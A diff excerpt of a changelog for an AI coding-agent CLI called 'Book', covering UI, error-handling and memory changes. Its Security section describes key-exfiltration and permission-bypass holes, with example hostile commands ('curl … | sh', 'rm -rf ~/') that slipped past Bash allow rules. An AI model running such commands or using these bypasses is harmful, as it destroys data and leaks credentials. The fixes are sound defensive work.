Set `BOOK_INK_RENDER_CULL=off` to restore the previous behavior. At very narrow widths a tool
|
|
603
|
+
summary row now truncates instead of wrapping onto the row below it. **Measured** on the shipped
|
|
604
|
+
code: every real frame was drawn twice in the same process, once with the cull and once without
|
|
605
|
+
it, from the same layout: 0 mismatches over 514 frames (Windows 248, Linux 266), and colour
|
|
606
|
+
screenshots are byte-identical with the cull on, off, and on main. The cull removes 68% (Windows)
|
|
607
|
+
and 66% (Linux) of the walk's writes (before it, 73% of the writes the walk made landed wholly
|
|
608
|
+
outside the clip; with it, 14% (Windows) and 20% (Linux)). Draw time fell from 475 ms to 303 ms
|
|
609
|
+
over wheel-up and 365 ms to 211 ms over wheel-down on Linux, and from 483 ms to 361 ms over wheel-up
|
|
610
|
+
and 355 ms to 200 ms over wheel-down on Windows. On Linux, stalls over 40 ms during wheel-up fell
|
|
611
|
+
from 1.5 to 0.3 per run (summed 66 ms to 15 ms), and the worst stall per run from 45 ms to 37 ms at
|
|
612
|
+
the median. Under load on Windows, stalls over 40 ms during wheel-up fell from 3.6 to 0.9 per run
|
|
613
|
+
(summed 182 ms to 40 ms), and the worst stall per run from 56 ms to 42 ms at the median. On a quiet
|
|
614
|
+
Windows box, stalls over 40 ms did not move (about one per run in either build): what remains there
|
|
615
|
+
is the React mount and Yoga layout of newly mounted heavy rows, which the cull does not touch.
|
|
616
|
+
- **A session nothing was sent in is no longer offered back** (#428). Opening Book and leaving
|
|
617
|
+
without a prompt left an empty session behind, which `--continue` and `book status` then picked
|
|
618
|
+
as the most recent here, and which `/resume` listed. All three now skip sessions with no
|
|
619
|
+
messages. `book status` also counts a session that has a run record, so a live print-mode run
|
|
620
|
+
of host-performed commands only (such as `/review`) is still the one it reports. The empty
|
|
621
|
+
session file itself is still left behind.
|
|
622
|
+
- **A model the provider no longer serves is no longer reported as a rejected credential** (#387).
|
|
623
|
+
9router wraps an upstream 403 in its own 503 (`[route] [403]: Model is no longer available`),
|
|
624
|
+
which `classifyApiError` read through the quoted status as `auth` — so the run parked as
|
|
625
|
+
`credentials_rejected` and the message told the user to check `BOOK_API_KEY` for a key that was
|
|
626
|
+
fine. A plain 403 with the same retirement wording read the same way. A 403 or 404 whose body says
|
|
627
|
+
the model itself is gone — a retirement notice, a "please select another model", an OpenAI
|
|
628
|
+
`model_not_found` code, Anthropic's 404 `not_found_error` naming `model:`, or the upstream message
|
|
629
|
+
OpenRouter forwards in `metadata.raw` — now classifies as `model_unavailable`: the message keeps
|
|
630
|
+
the upstream detail, gives no API-key advice, and points at `--model` or `/model`. The read stays
|
|
631
|
+
tight: a 401 is always `auth` whatever its body says, a 403 "Invalid API key provided" or
|
|
632
|
+
"Forbidden" and a 404 "Not Found" keep their old readings, and the #383 capacity outage (a quoted
|
|
633
|
+
404 "No endpoints found" with a `(reset after …)` cooldown) is still a retryable `server_error`.
|
|
634
|
+
- **A session started in your home directory reads `~/.book/settings.json` once** (#429). There
|
|
635
|
+
the user file is also the workspace's `.book/settings.json`, so it loaded a second time as the
|
|
636
|
+
repository's layer: its rules accumulated twice, and its hooks, allow rules and directories were
|
|
637
|
+
withheld as repository declarations awaiting `book trust`, then registered twice once approved.
|
|
638
|
+
The project layer is now skipped when it is the user file, in the loader, the withheld-declaration
|
|
639
|
+
notices, `book trust` and `book doctor`, and a skill found under both roots is listed once, as
|
|
640
|
+
yours.
|
|
641
|
+
- **The delegation latency test re-measures a failing verdict before it fails the run** (#390). The
|
|
642
|
+
Windows CI legs sometimes go through a few seconds in which every delegation cycle costs 0.6-3.9s while
|
|
643
|
+
the probe beside it and the child's own timer stay normal, and a re-run of the same commit measures
|
|
644
|
+
47-92ms. On those legs a failing round is now measured again, up to three rounds 3s apart within a 60s
|
|
645
|
+
budget: a round that passes decides the run, and with no passing round any failed round fails it, so a
|
|
646
|
+
regression still fails. Every other platform still decides on one round. Each printed sample also says
|
|
647
|
+
where its time went: before the child started, or after it finished.
|
|
648
|
+
- **`~/.claude/CLAUDE.md` is injected once for a workspace under your home directory** (#430).
|
|
649
|
+
The instruction walk passes through your home directory, where it found the file a second time
|
|
650
|
+
as a project-level `.claude/CLAUDE.md`. Instruction files are now deduplicated by real path (the
|
|
651
|
+
link followed, and on Windows the drive-letter case as stored), and the first, user-scoped entry
|
|
652
|
+
is kept. That also loads `BOOK_HOME/AGENTS.md` once, as yours, when the workspace lies inside
|
|
653
|
+
`BOOK_HOME`, and counts a home reached through a symlink once, with the workspace given by its
|
|
654
|
+
real path. A `CLAUDE.md` linked to the `AGENTS.md` beside it loads once, and one linked to
|
|
655
|
+
`CLAUDE.local.md` loads that file once, last and as local (#524).
|
|
656
|
+
- **The agent store no longer logs spurious write retry events for first-try writes** (#402).
|
|
657
|
+
Atomic JSON writes incremented an attempt counter across both lock and rename steps, returning
|
|
658
|
+
two attempts on clean writes and causing the agent store to log a retry event on every success.
|
|
659
|
+
Attempts now count the initial write plus only contended retries, a stale-lock reclaim is not
|
|
660
|
+
counted as a retry, and the store logs retry events only when a write actually retried.
|
|
661
|
+
- **A session started with `/goal` is named after its condition** (#431). The TUI named it after
|
|
662
|
+
the first transcript line, `Goal set: <condition>`, and print mode after the kickoff prompt Book
|
|
663
|
+
sends for the goal.
|
|
664
|
+
|
|
665
|
+
### Changed
|
|
666
|
+
|
|
667
|
+
- **Book's git reads leave out changes inside submodules and never fetch in a partial clone.**
|
|
668
|
+
- **Submodules:** `GitStatus`, `GitDiff`, `/diff`, `/review` and agent isolation show a moved
|
|
669
|
+
submodule as its two commits, but not edits inside it. `GitStatus`'s description says so, so
|
|
670
|
+
the system prompt is now v6, and the first request after upgrading misses the cache.
|
|
671
|
+
- **Partial clones:** no Book git read fetches; a read that needs a missing object fails with a
|
|
672
|
+
note on how to fetch. The prompt's git line and the TUI status line show only the branch.
|
|
673
|
+
- **`/diff`** uses `GitDiff`'s flags. Your own `Bash` `git` is unchanged.
|
|
674
|
+
|
|
675
|
+
- **Only text you type runs a `!` line or invokes a skill by `$name`.** Expanded text (a command's
|
|
676
|
+
body, the review guidance `/security-review` reads from `REVIEW.md`, a file inlined by a
|
|
677
|
+
mention, a delegated task) no longer counts as typed: its `!` lines stay as text, and a `$name`
|
|
678
|
+
in it invokes nothing. So a `!` line in your own command's body no longer runs in the TUI (it
|
|
679
|
+
never ran in print mode), and `` !`cmd` `` substitution is unchanged. `/security-review` expands
|
|
680
|
+
`REVIEW.md` like a project command's body. A `$` right after `/`, `\`, `@` or `.` is not a skill
|
|
681
|
+
name, and a `$name` sent to a managed agent no longer invokes a skill. `/rewind` puts back only
|
|
682
|
+
what you typed: a command's line, never its body; a turn it can't show you typed (a print-mode
|
|
683
|
+
turn, a plan handoff, a session saved before this change) leaves the composer as it is.
|
|
684
|
+
- **The transcript is set as Claude Code-style items.** Every item of a turn opens on one mark in
|
|
685
|
+
the margin, `●`, whose colour carries its state: green done, rose failed, amber waiting for your
|
|
686
|
+
approval or skipped, grey for a folded run of reads or a call Book refused before it ran, and
|
|
687
|
+
blinking while it runs. No row carries a check or a cross any more.
|
|
688
|
+
- A call is headed `Name(argument)` (`Bash(npm test)`, `Read(src/config.ts)`; a search is a
|
|
689
|
+
`Search`, an edit an `Update`, a new file a `Write`), and its result hangs under it after `⎿`
|
|
690
|
+
in words, with no timings on a finished row: `Read 40 lines`, `Found 67 matches`,
|
|
691
|
+
`Added 1 line, removed 1 line`, `Wrote 5 lines`. A command shows its first line of output, then
|
|
692
|
+
`… +N lines`.
|
|
693
|
+
- A failure opens on `Error: exit N` or on its message. Only the mark and the `Error:` label take
|
|
694
|
+
the rose; the message and the output's tail keep the result's grey.
|
|
695
|
+
- The sentence the agent says before acting is the grey caption of the call under it, with no
|
|
696
|
+
mark; the final answer opens on its own `●` once it settles.
|
|
697
|
+
- The compact transcript draws no thought at all (Ctrl+O and screen-reader mode still show
|
|
698
|
+
every thought).
|
|
699
|
+
- One blank row stands between items and before each prompt, and your turns and the composer open
|
|
700
|
+
on `>`. The pilcrow `¶` still heads decision prompts and the title page's contents.
|
|
701
|
+
- A diff has one line-number column and no rail. The compact transcript previews an edit as up to
|
|
702
|
+
12 rows of its changes with one line of context, a new file as its first 5 lines, and a change
|
|
703
|
+
across several files from the top with every row under its file's name. Each edit is its own
|
|
704
|
+
`Update(path)` item; the grouped-edits heading is gone.
|
|
705
|
+
- A folded run of reads reads `Search(memory), Read(3 files)`, with the files under `⎿`.
|
|
706
|
+
- An expanded command's output is never read as Markdown, so a test runner's `# pass 12` no
|
|
707
|
+
longer draws as a heading.
|
|
708
|
+
- The Ctrl+E target and the transcript's row estimate size rows the way they now draw.
|
|
709
|
+
- This supersedes the row formats that earlier entries in this section describe (the `✓` and
|
|
710
|
+
`×` rows, the `▸ thought` row a final answer kept, and the 20-row and 10-line diff previews).
|
|
711
|
+
|
|
712
|
+
- **`quota_exhausted` is a new `AgentTerminalReason`: a spent usage limit, or a wait the retries
|
|
713
|
+
cannot reach, parks the run** (#409). A change for SDK and stream-json consumers that switch over
|
|
714
|
+
the reason set. A 429 that states a spent usage or plan limit used to park as
|
|
715
|
+
`credentials_rejected`, which tells an operator to rotate a key, and a stated wait longer than the
|
|
716
|
+
retries could cover was clamped to `retry.maxDelayMs` and re-sent on every attempt. A spent-limit
|
|
717
|
+
429 now ends the run `quota_exhausted` (provider code `usage_limit`). A stated wait of 15 minutes
|
|
718
|
+
or more, from a `Retry-After` header, a router's `(reset after 3h)` or an absolute
|
|
719
|
+
`resets at <time>`, whichever is longer, that is also longer than the call can still wait (the
|
|
720
|
+
smaller of the remaining `retry.totalBudgetMs` and the remaining attempts times
|
|
721
|
+
`retry.maxDelayMs`) is returned after one request and ends the run `quota_exhausted` as well, with
|
|
722
|
+
provider code `rate_limit_wait`. It is a park like `credentials_rejected`: it is not re-issued and
|
|
723
|
+
the `Notification` hook alarm carries `kind: "quota_exhausted"`, but the remedy differs, which is
|
|
724
|
+
to wait for the reset or pick another model with `--model` or `/model`. A 402, OpenAI's
|
|
725
|
+
`insufficient_quota` and Anthropic's `billing_error` still end `credentials_rejected`. A wait
|
|
726
|
+
shorter than 15 minutes is always waited for, and `retry.watchdog` keeps waiting whatever the
|
|
727
|
+
wait. "Long runs" in the guide has the detail.
|
|
728
|
+
- **Breaking: the model writes memory with the file tools, and `MemorySave` is gone.** Memory is
|
|
729
|
+
now one Markdown file per fact in the memory directory (`name`, `description` and
|
|
730
|
+
`metadata.type` frontmatter, a `Why:` and `How to apply:` line for feedback and project
|
|
731
|
+
memories, `[[links]]` to related ones), written with `Write`, `Edit`, `MultiEdit` or `ApplyPatch`
|
|
732
|
+
through the guard added with the memory write root. The model owns `MEMORY.md` as well: it adds
|
|
733
|
+
one `- [Title](file.md) — hook` line after each file, updates a file that already covers a fact
|
|
734
|
+
instead of adding another, and deletes a wrong memory with `rm`. The system prompt's memory
|
|
735
|
+
section is rewritten around that (a `write` variant in a `full` and a `learnings` flavour, and a
|
|
736
|
+
`read-only` variant for a subagent, `memory.autoSave: false`, or a `deny` rule that refuses a
|
|
737
|
+
memory write; no memory section when memory is off). The `memory saved: <file>` notice, and a
|
|
738
|
+
`memory deleted: <file>` one for an `ApplyPatch` delete, now come from the file tools; a memory
|
|
739
|
+
write keeps the hand-back look in the TUI, and its row names the file `memory/<name>.md` instead
|
|
740
|
+
of `../home/.book/projects/<slug>/memory/<name>.md`. `Glob` and `Grep` now search the memory
|
|
741
|
+
directory (never its dot-entries), a subagent included.
|
|
742
|
+
- **Breaking: the memory inbox, the external-content quarantine, supersede history and background
|
|
743
|
+
extraction are removed.** `/memory inbox`, `/memory approve` and `/memory discard` are gone;
|
|
744
|
+
`/memory` keeps `status`, `path`, `on`, `off` and `delete <file>`, and `delete` now also removes
|
|
745
|
+
every `MEMORY.md` line linking to the file. Nothing is held back for review any more, a session
|
|
746
|
+
that read the web or an MCP server writes memory like any other, and an overwrite or a delete is
|
|
747
|
+
final. An existing inbox, superseded file or extraction file is dropped by the migration below.
|
|
748
|
+
`/memory status` and `book doctor` show the memory count, the legacy count (files a migration
|
|
749
|
+
that could not run left in the old layout) and the index against both limits. Entries in the session
|
|
750
|
+
state block and the `runtime.usedToolNames` tool history that served quarantine are removed with
|
|
751
|
+
them. The settings `memory.requireApproval`, `memory.quarantineExternal` and `memory.extraction`
|
|
752
|
+
are no longer read, and neither is a permission rule that names `MemorySave`: a document that
|
|
753
|
+
still has one loads, and `book doctor` reports each by key. `memory.enabled` and
|
|
754
|
+
`memory.autoSave` stay.
|
|
755
|
+
- **Breaking: an existing memory store is migrated once, with a backup.** The first session that
|
|
756
|
+
loads a directory still in the old layout (files named `YYYY-MM-DD-<type>-<title>-<hash>.md` with
|
|
757
|
+
top-level `type` / `status` frontmatter, an `.inbox/`, extraction state, a typed index) copies the
|
|
758
|
+
whole directory, dot-entries included and symlinks skipped, to `memory.legacy-<YYYYMMDD>/` beside
|
|
759
|
+
`memory/` (`-2`, `-3`, … if that name exists). If the copy fails nothing changes and the next
|
|
760
|
+
session tries again. Each approved file is then rewritten in place as `<slug>.md` with `name`,
|
|
761
|
+
`description` (its old index hook, else its first body line) and `metadata` (`type`,
|
|
762
|
+
`originSessionId`, `modified`, `evidence`, and `driver: agent` where the old file said so; a
|
|
763
|
+
migrated delegated-run file stays agent-owned), and `MEMORY.md` is rewritten as
|
|
764
|
+
`- [Title](slug.md) — description` lines after the hand-written lines it held. Superseded,
|
|
765
|
+
pending and discarded files, the inbox, and the extraction state and lock files are not carried
|
|
766
|
+
over; they survive only in the backup. A `.format` file marks the directory as migrated.
|
|
767
|
+
While the backup exists, `/memory status` and `book doctor` say where it is: "Migrated to the new
|
|
768
|
+
memory format; the old files are in `<path>`."
|
|
769
|
+
- **The transcript caps file diffs and its output footers are short** (#456, #458). A newly created
|
|
770
|
+
file previews only its first 10 lines, one terminal row each, with no hunk header. Ctrl+E shows
|
|
771
|
+
the whole of the current (latest or selected) row's output, not every row. A cut of a new file or
|
|
772
|
+
of plain tool output is summarised as `… +N lines (Ctrl+E)` instead of
|
|
773
|
+
`… 97 more lines hidden, 2620 B (103 lines, 2.7 KB total; Ctrl+E shows all)`, and when long lines
|
|
774
|
+
were shortened it reads `… +N lines, M long lines shortened (Ctrl+E)`. How an edit's diff is
|
|
775
|
+
previewed is described under #470 below.
|
|
776
|
+
- **The compact transcript previews an edit's diff as its first 20 rendered rows** (#470). A
|
|
777
|
+
12-line rename made by one `Edit` took 54 rows of the screen. Any diff of an existing file (`Edit`,
|
|
778
|
+
`MultiEdit`, an `ApplyPatch` update, a `Write` over a file) now shows its first 20 rows in order
|
|
779
|
+
and ends in `… +N lines (Ctrl+E)`; the files of one multi-file call share the 20. A single file's
|
|
780
|
+
`--- path` / `+++ path` rows are dropped, since the row above names the path; several files keep
|
|
781
|
+
them. A first line too long for the 20 is cut to them and ends in `…`. A new file keeps its
|
|
782
|
+
10-line preview. Every collapsed budget (the 10, the 20, and the detailed transcript's 80) now
|
|
783
|
+
counts rendered terminal rows, so a diff of long wrapped lines no longer overruns it; the
|
|
784
|
+
`⋮ N lines omitted` gap rows and hunk headers count, and the footer does not. The detailed
|
|
785
|
+
transcript (Ctrl+O) and screen-reader mode keep the change-focused 80-row preview, whose gaps
|
|
786
|
+
read `⋮ N lines omitted` and whose footer gives the total, `… N lines hidden (Ctrl+E)`; the
|
|
787
|
+
permission prompt's diff uses that preview and wording, with its own `D shows more` hint, offered
|
|
788
|
+
whenever the rendered diff is cut, however few source lines it has. A file whose diff has one
|
|
789
|
+
hunk draws no hunk header, and a file with several draws each with its counts (`@@ -2,7 +2,7 @@`)
|
|
790
|
+
instead of `@@ -1 +1 @@` above a 39-line hunk, counted per file and only over the diff's own
|
|
791
|
+
lines, in the permission prompt too. The model-facing diff text is unchanged.
|
|
792
|
+
- **`model_unavailable` is a new `AgentTerminalReason` and stream-json `stopReason` value** (#387). A
|
|
793
|
+
change for SDK and stream-json consumers that switch over the reason set. A stream that ends with
|
|
794
|
+
it fails under `model_unavailable` and parks like `credentials_rejected` — nothing is wrong with
|
|
795
|
+
the work, a supervisor can wait for an operator to pick another model, and it is never re-issued.
|
|
796
|
+
The park branch's Notification hook now sends its own `kind: "model_unavailable"` instead of the
|
|
797
|
+
hard-coded `credentials_rejected`, so a retirement alarm does not read as a rejected credential.
|
|
798
|
+
When auto-compaction fails because the session's own model is unavailable, the failure is treated
|
|
799
|
+
as shared so a model-free (summary-less) checkpoint does not wipe the history before resume; a
|
|
800
|
+
distinct compact model that is unavailable still lets the model-free fallback follow.
|
|
801
|
+
- **A stream may wait longer for its first delta when nothing yet says what kind of stream it is**
|
|
802
|
+
(#379). `retry.firstDeltaStallTimeoutMs` (default 120 s, range 5 s–30 min,
|
|
803
|
+
`BOOK_FIRST_DELTA_STALL_TIMEOUT_MS`) bounds the pause before a stream's first non-empty content,
|
|
804
|
+
tool-call or reasoning delta — a role-only chunk, an empty content string and a usage-only chunk do
|
|
805
|
+
not count — but only when the request sends no `reasoning_effort` and the model's catalog entry
|
|
806
|
+
does not settle effort: no entry at all, or one without an `effort` key, such as `{}`. A router
|
|
807
|
+
that buffers the model's whole thinking block sends a role-only first chunk and then silence for up
|
|
808
|
+
to about 80 s, which the 20 s chat ceiling read as `stream_stall` on a healthy request. The first
|
|
809
|
+
meaningful delta hands the stream back to the per-phase ceilings unchanged. An `effort: false`
|
|
810
|
+
entry, an explicit `--effort`, and a catalogued effort range behave exactly as before, and the
|
|
811
|
+
Anthropic path is untouched.
|
|
812
|
+
|
|
813
|
+
### Security
|
|
814
|
+
|
|
815
|
+
- **The prompt's git line no longer runs a repository's `core.fsmonitor` program** (#574). Every
|
|
816
|
+
turn, the `<session-state>` git line ran `git status` without the hardening the read-only Git
|
|
817
|
+
tools use, so a checkout whose `.git/config` named a program in `core.fsmonitor` ran it on every
|
|
818
|
+
turn, with no prompt. Both calls now go through `readOnlyGit`. The built-in daemon
|
|
819
|
+
(`core.fsmonitor=true`) is still allowed.
|
|
820
|
+
- **A crafted `.git` file can't pick another project's memory** (#575). Memory keying followed a
|
|
821
|
+
`.git` file's `gitdir` and its `commondir` to any path ending in `.git`. A `.git` file now maps to
|
|
822
|
+
its main checkout only when git's round trip holds:
|
|
823
|
+
- the gitdir is `<common>/worktrees/<name>`;
|
|
824
|
+
- that entry's `gitdir` names this directory's `.git`;
|
|
825
|
+
- both files have the same owner.
|
|
826
|
+
|
|
827
|
+
Anything else is keyed by its own directory, and pointer files are read as bounded regular files.
|
|
828
|
+
A worktree moved by hand now keys by itself until `git worktree repair` fixes the link.
|
|
829
|
+
|
|
830
|
+
- **The sandbox binds the workspace's git directories read-only by default, closing the pointer-file redirect** (issue 373).
|
|
831
|
+
Inside the namespace every git directory of the workspace (`.git`, linked worktree admin directories,
|
|
832
|
+
and submodule git directories) is now bound read-only by default, closing the gap where a sandboxed command
|
|
833
|
+
could create `.git/commondir` to redirect the host's next git invocation. Discovered via `.git` files,
|
|
834
|
+
`commondir` files, `.git/worktrees/*`, and nested `.git/modules/*` (including multi-segment submodule paths).
|
|
835
|
+
Candidates must look like a git directory (`HEAD` exists, and either an `objects` directory or a `commondir`
|
|
836
|
+
file exists); pointers naming the workspace root or plain directories do not bind them read-only, and a
|
|
837
|
+
candidate canonicalising to the workspace root is refused. In default read-only mode, each ancestor directory
|
|
838
|
+
strictly between the workspace root and every protected mount is pinned with a writable self-bind
|
|
839
|
+
(`--bind <dir> <dir>`), so a pinned directory cannot be renamed or removed inside the sandbox (`EBUSY`).
|
|
840
|
+
`core.hooksPath` inside the workspace stays read-only in both modes, and git directories outside the workspace
|
|
841
|
+
are left alone. Sandboxed git writes (`git commit`, `git checkout`, `git add`, `git fetch`) fail by default
|
|
842
|
+
(a breaking behaviour change) with a diagnostic note explaining that the repository's git directory is
|
|
843
|
+
read-only inside the sandbox and directing the user to run outside or opt out. `git stash` in read-only mode
|
|
844
|
+
fails silently with exit 1 and no output. The new `sandbox.filesystem.allowGitWrites` setting (default `false`)
|
|
845
|
+
restores the previous behaviour when set to `true`: git directories stay writable, control files stay
|
|
846
|
+
protected per-file, and the pointer-file gap reopens. Pinning work tree directories is omitted in opt-out
|
|
847
|
+
mode so in-workspace worktree removal does not fail halfway, which leaves the parent rename hole open there.
|
|
848
|
+
Only a trusted layer (`~/.book/settings.json`, `--settings`) may set `allowGitWrites`: workspace layers may
|
|
849
|
+
only tighten it to `false`. An `allowWrite` opt-in on a git dir reopens what it names, but keeps control paths
|
|
850
|
+
strictly below it (`hooks/`, `config`, pointer files) read-only unless directly opted into. Any component on
|
|
851
|
+
the way to a protected mount, discovered git directory, or pointer target reached through a symlink in the
|
|
852
|
+
workspace is refused unless the symlink itself lives inside a present read-only directory mount or inside a
|
|
853
|
+
`denyWrite` / `denyRead` directory. Note that a sandboxed `git worktree remove` deletes the work tree and then
|
|
854
|
+
fails on its read-only admin directory; `git worktree prune` outside the sandbox cleans up.
|
|
855
|
+
- **A cloned repository could send your provider key, and the conversation, to an endpoint it
|
|
856
|
+
named** (#418). A checked-in `.book/settings.json`, a force-added `.book/settings.local.json` or
|
|
857
|
+
a legacy `.bookrc.json` could set a provider's `baseURL` and `apiKey`, and `apiKey` accepted a
|
|
858
|
+
`{file:~/…}`, an absolute `{file:…}` or an `{env:VAR}` reference, so the repository chose both
|
|
859
|
+
where a request went and which secret rode with it: your provider key, `BOOK_API_KEY`, any file
|
|
860
|
+
under `~` or any environment variable, together with the transcript. Now a workspace layer's
|
|
861
|
+
`baseURL`, `baseUrl`, `apiKey` and `type` for a provider your own settings define are dropped and
|
|
862
|
+
reported (only its `models` still merge; `type` decides how your key is sent, so flipping it to
|
|
863
|
+
`anthropic` would have posted the key as `x-api-key` to `/v1/messages`, and the model picker's
|
|
864
|
+
refresh would have saved that into `~/.book/settings.json`, which now writes only your own
|
|
865
|
+
file's values). A provider only a workspace declares is withheld
|
|
866
|
+
until `book trust provider <id>` approves it, against a fingerprint of its type, origin and
|
|
867
|
+
`apiKey` text, so a changed `baseURL` or key reference asks again. The listing shows the parsed
|
|
868
|
+
origin in full (a URL with userinfo before the host, or one that does not parse, is flagged), the
|
|
869
|
+
variable an `{env:}` reference names and the normalised file a `{file:}` reference opens, not
|
|
870
|
+
text a long run of filler could push the real host or path out of. A workspace provider never
|
|
871
|
+
inherits `BOOK_API_KEY` or the session key, and an unapproved one's key reference is never
|
|
872
|
+
resolved; the gate is recomputed whenever settings are re-read in a session, so removing a
|
|
873
|
+
provider of yours that shared an id with an approved workspace one no longer sends the workspace
|
|
874
|
+
origin `BOOK_API_KEY`. A workspace `model`, `compactModel`, `advisorModel`, agent-profile model
|
|
875
|
+
or legacy `.bookrc.json` `model` that names a withheld provider falls back to your value with a
|
|
876
|
+
notice; an agent definition's `model:` and an `AgentSpawn` model fail with the
|
|
877
|
+
`book trust provider` message instead. **Your own selection is unaffected:** a `model` from your
|
|
878
|
+
settings, `--settings`, `--model` or `BOOK_MODEL` whose prefix names only a withheld workspace
|
|
879
|
+
provider (your `meta-llama/llama-3-70b` against a repository's `meta-llama` provider) starts and
|
|
880
|
+
resolves as the plain fallback, and is reported once; approving that provider would route it to
|
|
881
|
+
the workspace's origin, which the `book trust provider` listing says, naming each such selection.
|
|
882
|
+
A workspace provider named `.bookrc.json` is reserved and can never be approved, so it cannot
|
|
883
|
+
share the decision about a legacy `baseUrl`. That `baseUrl` is ignored until
|
|
884
|
+
`book trust provider .bookrc.json` approves it, and the listing names everything an approved one
|
|
885
|
+
would receive as the default endpoint: `BOOK_API_KEY`, the key of every provider with no
|
|
886
|
+
`baseURL`, and every plain model id. Every `book trust` command Book suggests names
|
|
887
|
+
`--workspace` when it differs from the current directory and quotes the provider id for your
|
|
888
|
+
shell, or lists instead when the id holds a character a shell would interpret. `/advisor off` now
|
|
889
|
+
also writes `advisorModel: "off"` to `.book/settings.local.json` when a checked-in file still
|
|
890
|
+
declares an advisor, so it stays off, and that `off` is ignored once the repository stops
|
|
891
|
+
declaring one, so your own advisor applies again. Print mode, the SDK and the TUI report each
|
|
892
|
+
withheld declaration (the TUI shows them in the transcript at launch, not saved to the session
|
|
893
|
+
and not sent to the model), and `book doctor` lists every workspace provider with its state.
|
|
894
|
+
**Behaviour change:** a provider that only a repository declares now needs
|
|
895
|
+
`book trust provider <id>` before it is used, and an approved provider with no key of its own
|
|
896
|
+
sends none, so it fails at startup with the missing-key error until its declaration carries its
|
|
897
|
+
own `apiKey`. A provider you define in `~/.book/settings.json` is unaffected.
|
|
898
|
+
- **Provider requests refuse every HTTP redirect, so your key and prompt stay with the endpoint you
|
|
899
|
+
configured** (#445). Node's `fetch` follows a 3xx, so a provider endpoint that answered
|
|
900
|
+
`307 Location: http://other-host/…` had the request re-sent there with its `x-api-key` header and
|
|
901
|
+
the whole prompt. Every provider request, and `/model` discovery, now fails on any 3xx, with no
|
|
902
|
+
same-origin exception. The error is not retried, `retry.watchdog` included, and names the status
|
|
903
|
+
and the target as scheme, host and path only, never userinfo, query or fragment. It advises
|
|
904
|
+
setting the provider's base URL to that address without the endpoint path Book adds; the usual
|
|
905
|
+
causes are http to https, a missing `/v1` and a moved host. A compaction that meets a redirect
|
|
906
|
+
does not fall back to a summary-less one, and a managed agent or the advisor does not re-issue the
|
|
907
|
+
request. WebFetch keeps its own redirect policy and carries no provider credential.
|
|
908
|
+
- **Tool output no longer carries Book's own provider keys** (#411). A command such as
|
|
909
|
+
`cat ~/.book/settings.json` or `echo $BOOK_API_KEY` put a configured key into the tool result,
|
|
910
|
+
and from there into the model's context, the session file, the `tool-output/` spill file and
|
|
911
|
+
stream-json. Before the output is bounded, each configured provider key and `BOOK_API_KEY` is now
|
|
912
|
+
replaced with `[redacted: provider key]`, for every tool, `Bash`, `BashOutput`, `Check`, `Read`,
|
|
913
|
+
MCP and `Task` included, and in the tail a finished background shell sends to the model. A key
|
|
914
|
+
under 8 characters, the placeholder keys of keyless local endpoints (`lm-studio`, `not-needed`),
|
|
915
|
+
and the key of a workspace provider you have not approved are not treated as secrets. `Write`,
|
|
916
|
+
`Edit` and `MultiEdit` refuse (`redacted_secret_overwrite`) to write the marker over a file that
|
|
917
|
+
holds a real key, so reading a file and writing it back cannot destroy a credential (the entry on
|
|
918
|
+
the redaction marker below extends this to every file-write tool and to `Bash`). `BashOutput` on
|
|
919
|
+
a running job returns text up to the last line break, so a read cannot be used to guess a key
|
|
920
|
+
one character at a time; an unfinished line waits for its end or for the job to exit, and a line
|
|
921
|
+
with no break comes back in pieces of at most 1024 characters. Limits: only exact values match,
|
|
922
|
+
so a key that was encoded or written in separate pieces is not caught; PostToolUse hooks and the
|
|
923
|
+
log files of background jobs on disk see the raw output; and the environment is unchanged, so
|
|
924
|
+
Bash children still inherit `BOOK_API_KEY` and a nested `book` run keeps working.
|
|
925
|
+
- **A `Bash(<glob>)` rule in `allowed-tools` no longer admits a compound command** (#478). Such a
|
|
926
|
+
rule, written in a command, a skill or an agent role, read only the first line of the command and
|
|
927
|
+
let `;`, `&&`, a pipe, a redirect or a substitution through, so `Bash(git *)` admitted
|
|
928
|
+
`git status && curl https://example.com/x | sh` and `git log` followed by a line `rm -rf ~/`. The
|
|
929
|
+
rule now matches the whole trimmed command and refuses one that is compound. The check is a small
|
|
930
|
+
quote scanner, not a shell parser. Outside quotes, any of `; & | < > $ ( ) { }` or a backtick
|
|
931
|
+
counts; inside double quotes only `$` and a backtick do; inside single quotes nothing does, so
|
|
932
|
+
`git commit -m "fix(x): y"` and `git stash show 'stash@{0}'` still pass `Bash(git *)`. It fails
|
|
933
|
+
closed past that: an unterminated quote, a line break anywhere (even quoted), a backslash before
|
|
934
|
+
a quote, a `^` before a quote outside quotes, and a typographic quote (U+2018 to U+201E) are all
|
|
935
|
+
refused, since some shell reads each of them differently. On Windows a single quote is refused,
|
|
936
|
+
because the session shell may be cmd.exe, where it is not a quote, except under a shell on the
|
|
937
|
+
MSYS runtime (Git Bash, or another POSIX shell with `msys-2.0.dll`), where the command arrives out
|
|
938
|
+
of band and `'` reads as on Linux (#523, #548). This holds for an exact rule
|
|
939
|
+
and for `Bash(*)` too; a bare `Bash` still admits any command, and the strict `rm` rule is
|
|
940
|
+
unchanged. The refusal tells the model to send each command as its own Bash call.
|
|
941
|
+
- **Bash permission rules read the whole command, and a compound command asks when a Bash deny or
|
|
942
|
+
ask rule exists** (#500, #512). A Bash allow rule matched only the first line, so
|
|
943
|
+
`Bash(git status)` allowed `git status` followed by a second line and `Bash(git *)` allowed
|
|
944
|
+
`git status && …`, and a deny or ask rule never saw a command chained after the first. A rule
|
|
945
|
+
with a `*` now matches the whole trimmed command and never admits one the scanner above calls
|
|
946
|
+
compound, `Bash(*)` included; the call falls through to the normal prompt. A rule with no `*` is
|
|
947
|
+
exact: it admits a command only when the trimmed command equals it as a plain string, a `?`
|
|
948
|
+
literal, compound or not, so "Always allow" on `cd x && npm test` writes a rule that fires again.
|
|
949
|
+
"Always allow" remembers nothing for a multi-line command or a compound one that contains a `*`,
|
|
950
|
+
since no rule could admit it (a later entry widens this to any wildcard). A bare `Bash` allow
|
|
951
|
+
rule still admits everything until a Bash deny or ask rule exists; then a compound command always
|
|
952
|
+
asks, in `auto` too (`default` and `accept-edits` ask as before, `dontAsk` refuses, and
|
|
953
|
+
`bypassPermissions` bypasses). A rule on another tool, such as `Read(.env)`, does not trigger
|
|
954
|
+
that, and only an exact session approve-all rule skips the prompt. In print mode, the SDK and a
|
|
955
|
+
background agent the refusal says to send each command as its own call, to add the exact rule, or
|
|
956
|
+
to use `bypassPermissions`. A deny or ask rule now also tests the trimmed command's first line and
|
|
957
|
+
its whole text, so leading whitespace no longer slides past `Bash(git push *)` into an allow rule.
|
|
958
|
+
The Windows quote reading above applies.
|
